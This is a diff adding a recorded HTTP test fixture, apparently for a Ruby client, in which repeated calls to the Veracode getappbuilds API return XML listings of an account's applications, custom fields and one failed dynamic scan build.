+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:08:54 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:09:22 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:09:23 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:09:25 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
